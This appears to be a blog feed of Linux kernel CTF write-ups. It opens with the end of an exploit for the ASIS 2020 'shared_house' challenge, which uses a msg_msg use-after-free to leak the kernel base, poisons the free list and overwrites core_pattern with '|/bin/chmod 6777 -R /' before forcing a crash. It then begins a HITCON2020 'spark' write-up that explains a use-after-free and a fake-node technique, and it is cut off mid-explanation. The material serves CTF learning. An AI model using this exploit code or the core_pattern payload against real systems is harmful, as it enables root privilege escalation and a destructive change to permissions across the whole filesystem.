    vuln_dev_alloc_new_note(target_obj_size);
    memset(buf, 0, target_obj_size);
    struct msg_msg* fake_msg = (struct msg_msg*)buf;
    fake_msg-&amp;gt;next = (struct msg_msg*)fake_msg;
    fake_msg-&amp;gt;prev = (struct msg_msg*)fake_msg;
    fake_msg-&amp;gt;m_type = 1;
    fake_msg-&amp;gt;m_ts = target_obj_size;
    memset(fake_msg-&amp;gt;data, &amp;#39;A&amp;#39;, 1);
    vuln_dev_write_note(buf, target_obj_size);
  }

  return 1;
}

/// @brief Limited AAR primitive. The 8 bytes before target address must be
/// zeros.
/// @param out_data: output buffer
/// @param addr: target address
/// @param size: size of output buffer. size must be less than or equal to
/// (0x1000-0x10)
/// @return positive on success, -1 on failure
static int limited_aar(char* out_data, uint64_t addr, uint64_t size) {
  int ret;
  char* buf[target_obj_size];
  memset(buf, 0, sizeof(buf));
  struct msg_msg* uaf_msg = (struct msg_msg*)buf;
  uaf_msg-&amp;gt;next = (struct msg_msg*)fake_msgmsg;
  uaf_msg-&amp;gt;prev = (struct msg_msg*)fake_msgmsg;
  uaf_msg-&amp;gt;m_type = 1;
  uaf_msg-&amp;gt;m_ts = 0x1000 - offsetof(struct msg_msg, data) + size;
  uaf_msg-&amp;gt;next_data = (struct msg_msgseg*)(addr - 8);
  vuln_dev_write_note(buf, target_obj_size);

  char temp_buf[0x2000];
  ret = recv_msg(msgqid, temp_buf, 0x2000, uaf_msgmsg_mtype, 0);
  memcpy(out_data, temp_buf + 0x1000 - offsetof(struct msg_msg, data),
         size - 8);
}

static int leak_uaf_chunk_addr_and_kernel_addr(uint64_t pre_uaf_msg_addr,
                                               char* temp_buf,
                                               uint64_t* out_uaf_chunk_addr,
                                               uint64_t* out_kernel_base) {
  char* buf[target_obj_size];
  memset(buf, 0, sizeof(buf));

  *out_uaf_chunk_addr = 0;
  *out_kernel_base = 0;

  limited_aar(temp_buf, pre_uaf_msg_addr,
              0x1000 - offsetof(struct msg_msgseg, data));

  vuln_dev_read_note(buf, target_obj_size);
  *out_uaf_chunk_addr = *(uint64_t*)buf;

  uint64_t* uint64_buf = (uint64_t*)temp_buf;
  for (int i = 0; i &amp;lt; (0x2000 - offsetof(struct msg_msg, data) -
                       offsetof(struct msg_msgseg, data)) /
                          8;
       ++i) {
    if (IS_IN_KERNEL_RANGE(uint64_buf[i])) {
      uint64_t min_addr = uint64_buf[i] &amp;amp; KERNEL_BASE_MASK;
      if (*out_kernel_base == 0 || min_addr &amp;lt; *out_kernel_base) {
        *out_kernel_base = min_addr;
      }
    }
  }

  if (*out_kernel_base == 0 || *out_uaf_chunk_addr == 0) {
    return -1;
  }
  return 0;
}

int main() {
  vuln_fd = open(VULN_DEV_NAME, O_RDONLY);
  if (vuln_fd &amp;lt; 0) {
    fatal(&amp;#34;open(&amp;#34; VULN_DEV_NAME &amp;#34;)&amp;#34;);
  }

  target_obj_size = 0x80;
  char buf[target_obj_size];
  uint64_t* uint64_buf = (uint64_t*)buf;
  memset(buf, 0, sizeof(buf));

  msgqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
  if (msgqid &amp;lt; 0) {
    fatal(&amp;#34;msgget&amp;#34;);
  }
  fake_msgmsg = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                     MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (fake_msgmsg == MAP_FAILED) {
    fatal(&amp;#34;mmap&amp;#34;);
  }
  printf(&amp;#34;[*] fake_msgmsg: %p\n&amp;#34;, fake_msgmsg);

  uaf_msgmsg_mtype = make_uaf_msgmsg(buf);
  if (uaf_msgmsg_mtype &amp;gt; 0) {
    printf(&amp;#34;[-] Failed to find UAF msg_msg\n&amp;#34;);
    return -1;
  }
  uint64_t prev_uaf_msg = uint64_buf[88 / 8];
  printf(&amp;#34;[+] Found UAF msg_msg with mtype: %d\n&amp;#34;, uaf_msgmsg_mtype);
  printf(&amp;#34;    [*] Now note is same as UAF msg_msg\n&amp;#34;);
  printf(&amp;#34;    [*] The prev of UAF msg_msg is 0x%016lx\n&amp;#34;, prev_uaf_msg);
  vuln_dev_alloc_new_note(target_obj_size);

  printf(&amp;#34;[*] Leaking UAF chunk addr and kernel base...\n&amp;#34;);
  char* temp_buf = malloc(0x2000);
  uint64_t uaf_chunk_addr, kernel_addr;
  if (leak_uaf_chunk_addr_and_kernel_addr(prev_uaf_msg, temp_buf,
                                          &amp;amp;uaf_chunk_addr, &amp;amp;kernel_addr) &amp;lt; 0) {
    printf(&amp;#34;    [-] Failed to leak uaf chunk addr and kernel base\n&amp;#34;);
    return -1;
  }
  printf(&amp;#34;    [+] Found UAF chunk address: 0x%016lx\n&amp;#34;, uaf_chunk_addr);
  printf(&amp;#34;    [+] Found kernel address: 0x%016lx\n&amp;#34;, kernel_addr);

  printf(&amp;#34;[*] Overwrite free list to overwrite modprobe_path\n&amp;#34;);
  int msgqid2 = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
  if (msgqid2 &amp;lt; 0) {
    fatal(&amp;#34;msgget&amp;#34;);
  }

  uint64_t next_free_chunk = kernel_addr + CORE_PATTERN_OFFSET - 8;
  printf(&amp;#34;    [*] Overwriting free list at 0x%016lx to 0x%016lx\n&amp;#34;,
         uaf_chunk_addr, next_free_chunk);
  vuln_dev_write_note(&amp;amp;next_free_chunk, 8);
  printf(&amp;#34;    [*] Consume chunks in free list&amp;#34;);
  send_msg(msgqid2, temp_buf, 0x80 - offsetof(struct msg_msg, data), 0x10, 0);
  send_msg(msgqid2, temp_buf, 0x80 - offsetof(struct msg_msg, data), 0x11, 0);
  vuln_dev_delete_note();
  send_msg(msgqid2, temp_buf, 0x80 - offsetof(struct msg_msg, data), 0x12, 0);
  printf(&amp;#34;    [*] Now allocate note with addr=0x%016lx\n&amp;#34;, next_free_chunk);
  vuln_dev_alloc_new_note(0x80);

  char new_core_pattern[] = &amp;#34;|/bin/chmod 6777 -R /&amp;#34;;
  memset(temp_buf, 0, 0x2000);
  strcpy(temp_buf + 8, new_core_pattern);
  printf(&amp;#34;[*] Overwrite core_pattern to \&amp;#34;%s\&amp;#34;\n&amp;#34;, new_core_pattern);
  vuln_dev_write_note(temp_buf, 8 + sizeof(new_core_pattern));

  {
    int fd = open(&amp;#34;/proc/sys/kernel/core_pattern&amp;#34;, O_RDONLY);
    char core[0x100];
    read(fd, core, sizeof(core));
    if (memcmp(core, new_core_pattern, sizeof(new_core_pattern) - 1) != 0) {
      printf(&amp;#34;    [-] Failed to overwrite core_pattern (core_pattern=\&amp;#34;%s\&amp;#34;)\n&amp;#34;,
             core);
      return -1;
    }
  }

  printf(&amp;#34;    [+] Successfully overwrite core_pattern\n&amp;#34;);

  printf(&amp;#34;[*] Trigger core_pattern\n&amp;#34;);
  uint64_t* evil = (uint64_t*)0xdeadbeef;
  *evil = 0;

  close(vuln_fd);
  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;reference&#34;&gt;Reference&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://gitlab.com/sajjadium/ctf-archives/-/tree/main/ctfs/ASIS/2020/Quals/shared_house&#34;&gt;https://gitlab.com/sajjadium/ctf-archives/-/tree/main/ctfs/ASIS/2020/Quals/shared_house&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://duasynt.com/blog/cve-2016-6187-heap-off-by-one-exploit&#34;&gt;https://duasynt.com/blog/cve-2016-6187-heap-off-by-one-exploit&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
    <item>
      <title>HITCON2020 spark</title>
      <link>/posts/kernel/write-ups/ctf/hitcon2020-spark/</link>
      <pubDate>Tue, 18 Feb 2025 15:33:22 +0000</pubDate>
      
      <guid>/posts/kernel/write-ups/ctf/hitcon2020-spark/</guid>
      <description>&lt;hr&gt;
&lt;h2 id=&#34;problem&#34;&gt;Problem&lt;/h2&gt;
&lt;h3 id=&#34;environment&#34;&gt;Environment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;linux version: &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.9.11/source&#34;&gt;&lt;code&gt;5.9.11&lt;/code&gt;&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;No SMAP&lt;/li&gt;
&lt;li&gt;No SMEP&lt;/li&gt;
&lt;li&gt;No KPTI&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;module&#34;&gt;Module&lt;/h3&gt;
&lt;p&gt;The source code of module is not provided, but the challenge gives us the demo program using it.&lt;/p&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;516873924&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;516873924&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;HITCON2020-spark-demo.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;/*
 * This is a demo program to show how to interact with SPARK.
 * Don&amp;#39;t waste time on finding bugs here ;)
 *
 * Copyright (c) 2020 david942j
 */

#include &amp;lt;assert.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;linux/spark.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define DEV_PATH &amp;#34;/dev/node&amp;#34;

#define N 6
static int fd[N];
const char l[] = &amp;#34;ABCDEF&amp;#34;;

/*
    B -- 10 -- D -- 11 -- F
   / \         |
  4   |        |
 /    |        |
A     5        4
 \    |        |
  2   |        |
    \ |        |
      C -- 3 - E
 */
static void link(int a, int b, unsigned int weight) {
  printf(&amp;#34;Creating link between &amp;#39;%c&amp;#39; and &amp;#39;%c&amp;#39; with weight %u\n&amp;#34;, l[a], l[b],
         weight);
  assert(ioctl(fd[a], SPARK_LINK, fd[b] | ((unsigned long long)weight &amp;lt;&amp;lt; 32)) ==
         0);
}

static void query(int a, int b) {
  struct spark_ioctl_query qry = {
      .fd1 = fd[a],
      .fd2 = fd[b],
  };
  assert(ioctl(fd[0], SPARK_QUERY, &amp;amp;qry) == 0);
  printf(&amp;#34;The length of shortest path between &amp;#39;%c&amp;#39; and &amp;#39;%c&amp;#39; is %lld\n&amp;#34;, l[a],
         l[b], qry.distance);
}

int main(int argc, char *argv[]) {
  for (int i = 0; i &amp;lt; N; i++) {
    fd[i] = open(DEV_PATH, O_RDONLY);
    assert(fd[i] &amp;gt;= 0);
  }
  link(0, 1, 4);
  link(0, 2, 2);
  link(1, 2, 5);
  link(1, 3, 10);
  link(2, 4, 3);
  link(3, 4, 4);
  link(3, 5, 11);
  assert(ioctl(fd[0], SPARK_FINALIZE) == 0);
  query(0, 5);
  query(3, 2);
  query(2, 5);

  for (int i = 0; i &amp;lt; N; i++) close(fd[i]);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;As we can see in &lt;code&gt;demo.c&lt;/code&gt;, this module is for a shortest path search.
And each node can be allocated by &lt;code&gt;open&lt;/code&gt; and two nodes can be linked by &lt;code&gt;link&lt;/code&gt;. The searching path is done by &lt;code&gt;query&lt;/code&gt;.&lt;/p&gt;</description>
      <content>&lt;hr&gt;
&lt;h2 id=&#34;problem&#34;&gt;Problem&lt;/h2&gt;
&lt;h3 id=&#34;environment&#34;&gt;Environment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;linux version: &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.9.11/source&#34;&gt;&lt;code&gt;5.9.11&lt;/code&gt;&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;No SMAP&lt;/li&gt;
&lt;li&gt;No SMEP&lt;/li&gt;
&lt;li&gt;No KPTI&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;module&#34;&gt;Module&lt;/h3&gt;
&lt;p&gt;The source code of module is not provided, but the challenge gives us the demo program using it.&lt;/p&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;516873924&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;516873924&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;HITCON2020-spark-demo.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;/*
 * This is a demo program to show how to interact with SPARK.
 * Don&amp;#39;t waste time on finding bugs here ;)
 *
 * Copyright (c) 2020 david942j
 */

#include &amp;lt;assert.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;linux/spark.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define DEV_PATH &amp;#34;/dev/node&amp;#34;

#define N 6
static int fd[N];
const char l[] = &amp;#34;ABCDEF&amp;#34;;

/*
    B -- 10 -- D -- 11 -- F
   / \         |
  4   |        |
 /    |        |
A     5        4
 \    |        |
  2   |        |
    \ |        |
      C -- 3 - E
 */
static void link(int a, int b, unsigned int weight) {
  printf(&amp;#34;Creating link between &amp;#39;%c&amp;#39; and &amp;#39;%c&amp;#39; with weight %u\n&amp;#34;, l[a], l[b],
         weight);
  assert(ioctl(fd[a], SPARK_LINK, fd[b] | ((unsigned long long)weight &amp;lt;&amp;lt; 32)) ==
         0);
}

static void query(int a, int b) {
  struct spark_ioctl_query qry = {
      .fd1 = fd[a],
      .fd2 = fd[b],
  };
  assert(ioctl(fd[0], SPARK_QUERY, &amp;amp;qry) == 0);
  printf(&amp;#34;The length of shortest path between &amp;#39;%c&amp;#39; and &amp;#39;%c&amp;#39; is %lld\n&amp;#34;, l[a],
         l[b], qry.distance);
}

int main(int argc, char *argv[]) {
  for (int i = 0; i &amp;lt; N; i++) {
    fd[i] = open(DEV_PATH, O_RDONLY);
    assert(fd[i] &amp;gt;= 0);
  }
  link(0, 1, 4);
  link(0, 2, 2);
  link(1, 2, 5);
  link(1, 3, 10);
  link(2, 4, 3);
  link(3, 4, 4);
  link(3, 5, 11);
  assert(ioctl(fd[0], SPARK_FINALIZE) == 0);
  query(0, 5);
  query(3, 2);
  query(2, 5);

  for (int i = 0; i &amp;lt; N; i++) close(fd[i]);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;As we can see in &lt;code&gt;demo.c&lt;/code&gt;, this module is for a shortest path search.
And each node can be allocated by &lt;code&gt;open&lt;/code&gt; and two nodes can be linked by &lt;code&gt;link&lt;/code&gt;. The searching path is done by &lt;code&gt;query&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I think these are all knowlege which we can know from &lt;code&gt;demo.c&lt;/code&gt;. So I do reserving &lt;code&gt;spark.ko&lt;/code&gt;.
The module has 4 features: link, finalize, query, get_info.&lt;/p&gt;
&lt;h3 id=&#34;vulnerability&#34;&gt;Vulnerability&lt;/h3&gt;
&lt;p&gt;The vulnerability is in &lt;code&gt;spark_node_put&lt;/code&gt;. When we &lt;code&gt;close&lt;/code&gt; the node and if the reference count is one, &lt;code&gt;free&lt;/code&gt; the node itself and its double linked list nodes.
But when &lt;code&gt;free&lt;/code&gt; the node, the node in other node (which is linked with the closed node) is not freed.&lt;/p&gt;
&lt;p&gt;For example, we allocate 2 nodes(node A and node B) via &lt;code&gt;open&lt;/code&gt; and link them.
The node A&amp;rsquo;s fd and bk has the pointer to node B. And of course, node B has the pointer to node A in fd and bk.
After linking, if we &lt;code&gt;close&lt;/code&gt; node B, the node B is free-ed but the pointer in node A is not deleted.&lt;/p&gt;
&lt;p&gt;The fd and bk in each node are used in &lt;code&gt;spark_node_finalize&lt;/code&gt; and &lt;code&gt;spark_graph_query&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&#34;exploit&#34;&gt;Exploit&lt;/h2&gt;
&lt;h3 id=&#34;trigger-uaf&#34;&gt;Trigger UAF&lt;/h3&gt;
&lt;p&gt;As I explained in above, the UAF can be caused by following code:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; fds[&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; i &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; i &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;sizeof&lt;/span&gt;(fds) &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;; &lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;i) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  fds[i] &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;open&lt;/span&gt;(VULN_DEV_NAME, O_RDONLY);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;vuln_dev_link&lt;/span&gt;(fds[&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;], fds[&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;], &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;close&lt;/span&gt;(fds[&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;]);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;build-fake-node&#34;&gt;Build fake node&lt;/h3&gt;
&lt;p&gt;The structure of node and linked list node is like:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;typedef&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;spark_link_t&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;spark_link_t&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; bk;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;spark_link_t&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; fd;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;spark_node_t&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; target;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; weight;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;} &lt;span style=&#34;color:#66d9ef&#34;&gt;spark_link_t&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;typedef&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;spark_node_t&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; idx;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint32_t&lt;/span&gt; ref_cnt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint32_t&lt;/span&gt; __padding_0;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; start_lock[&lt;span style=&#34;color:#ae81ff&#34;&gt;32&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint32_t&lt;/span&gt; is_finalized;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint32_t&lt;/span&gt; __padding_1;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; nb_lock[&lt;span style=&#34;color:#ae81ff&#34;&gt;32&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; link_cnt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;spark_link_t&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; bk;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;spark_link_t&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; fd;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; idx_in_table;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;spark_node_table_t&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; node_table;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;} &lt;span style=&#34;color:#66d9ef&#34;&gt;spark_node_t&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And the invalid values in &lt;code&gt;spark_node_t&lt;/code&gt; may cause crash. And with several tries I found if &lt;code&gt;start_lock&lt;/code&gt; is zeros and bk and fd is correctly set, crash does not occurs.&lt;/p&gt;
&lt;p&gt;So, I try finding proper object which can control UAF object and I decide to use &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.9.11/source/ipc/msgutil.c#L37&#34;&gt;&lt;code&gt;struct msg_msgseg&lt;/code&gt;&lt;/a&gt;.
It allocated by user-defined length and user&amp;rsquo;s data. And the best thing is it can be fully controlled by user!! (except first 8 bytes).
Because the first 8 bytes of &lt;code&gt;spark_node_t&lt;/code&gt; is index of each node, it can be set any value.&lt;/p&gt;
&lt;p&gt;Now we can control the UAF node by &lt;code&gt;struct msg_msgseg&lt;/code&gt;.&lt;/p&gt;
&lt;h4 id=&#34;prevent-crash-while-finalize&#34;&gt;Prevent crash while finalize&lt;/h4&gt;
&lt;p&gt;By using &lt;code&gt;struct msg_msgseg&lt;/code&gt; and set &lt;code&gt;start_lock&lt;/code&gt; with zeros, the crash in &lt;code&gt;mutex_lock&lt;/code&gt; can be prevented.
But there is the traversal mechanism which travel the linked nodes in &lt;code&gt;traversal&lt;/code&gt;.
The traversal ends when &lt;code&gt;&amp;amp;node-&amp;gt;bk == cur_node-&amp;gt;bk&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Since we does not know the address of node, we cannot stop the traversal and this occurs the crash&amp;hellip;.
However differ my expectation, the crash does not reboot the OS and print kernel&amp;rsquo;s registers!
Morever in the kernel&amp;rsquo;s registers there is the address of UAF node (R13).&lt;/p&gt;
&lt;p&gt;With this observation, I crash the kernel several times and the address of UAF node may not be changed.
So I think I can use it.&lt;/p&gt;
&lt;p&gt;After one crashing, I set bk and fd with the value of R13+0x60 (this is R12 of panic information) and execute the program, no crash occurs in &lt;code&gt;traversal&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;make-invalid-node-table-by-finalize&#34;&gt;Make invalid node table by finalize&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;spark_node_finalize&lt;/code&gt; function makes the node table and set each linked node&amp;rsquo;s index in the table.
For example, the graph is following:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-plaintext&#34; data-lang=&#34;plaintext&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    B -- 10 -- D
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   / \ 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  4   |
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; /    |
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;A     5
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; \    |
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  2   |
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    \ |
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      C -- 3 - E
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And if we request finalize on node A, the A&amp;rsquo;s &lt;code&gt;node_table&lt;/code&gt; and &lt;code&gt;idx_in_table&lt;/code&gt; of each nodes are set by following:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-plaintext&#34; data-lang=&#34;plaintext&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;0: A (its `idx_in_table` is 0)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;1: C (its `idx_in_table` is 1)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2: E (its `idx_in_table` is 2)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;3: B (its `idx_in_table` is 3)
